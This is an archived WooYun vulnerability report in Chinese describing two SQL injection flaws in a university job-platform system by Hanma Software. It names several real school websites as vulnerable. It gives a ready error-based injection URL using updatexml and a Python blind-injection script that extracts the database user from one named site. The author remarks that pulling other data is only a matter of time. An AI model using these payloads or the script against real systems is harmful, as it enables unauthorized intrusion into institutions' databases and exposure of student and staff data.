当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102734

漏洞标题:某高校就业平台系统sql注射漏洞2枚

相关厂商:深圳市汉码软件技术有限公司

漏洞作者: 路人甲

提交时间:2015-03-23 12:17

修复时间:2015-05-07 12:18

公开时间:2015-05-07 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-07: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

绕过过滤进行sql注入

详细说明:

厂商:

http://www.hanmasoft.cn/  深圳市汉码软件技术有限公司


sql注射点:

/index_module.php?module_name=department_allinfo&action=0&dep_id=9 其中dep_id存在注入


其实这个系统的用户量是非常巨大的,如图:

01.jpg


互联网自动采集案例5枚:

http://jy.qhnu.edu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=8
http://zsjy.hnmeida.com.cn/job/index_module.php?module_name=department_allinfo&action=0&dep_id=9
http://jyb.cdutetc.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=9 mysql 5 以下版本
http://jyzd.lmu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=9 mysql 5 以下版本
http://jy.hnrpc.com/index_module.php?module_name=department_allinfo&action=0&dep_id=7 mysql 5 以下版本


使用单引号看看,会发现报错,很明显的一处update型的sql注入:

03.jpg


因为这里的sql注入是update型的注入,可以使用updatexml的形式去注入,我上面找了5个案例其中两个的mysql5以上版本,其它三个是以下版本的进行注入:
第一种:完全没有过滤select以及and关键字,这种mysql版本一般是在5以上的,使用updatexml方法进行注入。

http://jy.qhnu.edu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=8%20and%20updatexml(1,concat(0x3a,(select%20user())),1)


02.jpg


或者这样也是可以的:

以 http://zsjy.hnmeida.com.cn/job/index_module.php?module_name=department_allinfo&action=0&dep_id=9 为例演示


04.jpg


第二种:当遇到mysql 5以下的版本就不行了,而且还过滤了关键字~在上面说的案例里面最后三个是不能像上面那样注入~只能靠盲注了~为此我写了一个脚本测试其中一枚:
POC:

http://jy.hnrpc.com/index_module.php?module_name=department_allinfo&action=0&dep_id=7


#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,30):
for payload in payloads:
conn = httplib.HTTPConnection('jy.hnrpc.com', timeout=60)
url = '/index_department_detail.php?btab=1&indexstyle=1&dep_id=7'
s = ' and/**/1=if(ascii(substr((select/**/user()),%s,1))=%s,1,2)' % (i, ord(payload))
conn.request(method='GET',
url=url+urllib.quote(s),
headers=headers)
html_doc = conn.getresponse().read().decode('gbk')

if html_doc.find(u'铁道车辆与机械学院') > 0:
user += payload
print '\n[in progress]', user
break
else:
print '.',
print '\nMySQL user is', user


05.jpg


注入点2:
SQL Injection:

/index_department_detail.php?btab=**&indexstyle=**&dep_id=**  dep_id存在注入漏洞


SQL Error:

failed query:update school_department set dep_clicktimes=dep_clicktimes+1 where dep_id=1\' and error is:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1


Case:

http://zsjy.hnmeida.com.cn/job/index_department_detail.php?btab=1&indexstyle=0&dep_id=1
http://jy.cqrz.edu.cn/index_department_detail.php?btab=1&indexstyle=1&dep_id=1
http://jyb.cdutetc.cn/index_department_detail.php?btab=1&indexstyle=1&dep_id=1
http://jy.qhnu.edu.cn/index_department_detail.php?btab=1&indexstyle=2&dep_id=13
http://jy.hnrpc.com/index_department_detail.php?btab=1&indexstyle=1&dep_id=10


注入测试:

1、

01.jpg


02.jpg


03.jpg


2、

04.jpg


05.jpg


好了,存在注入就证明一下,要跑其它数据也是时间问题而已~

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝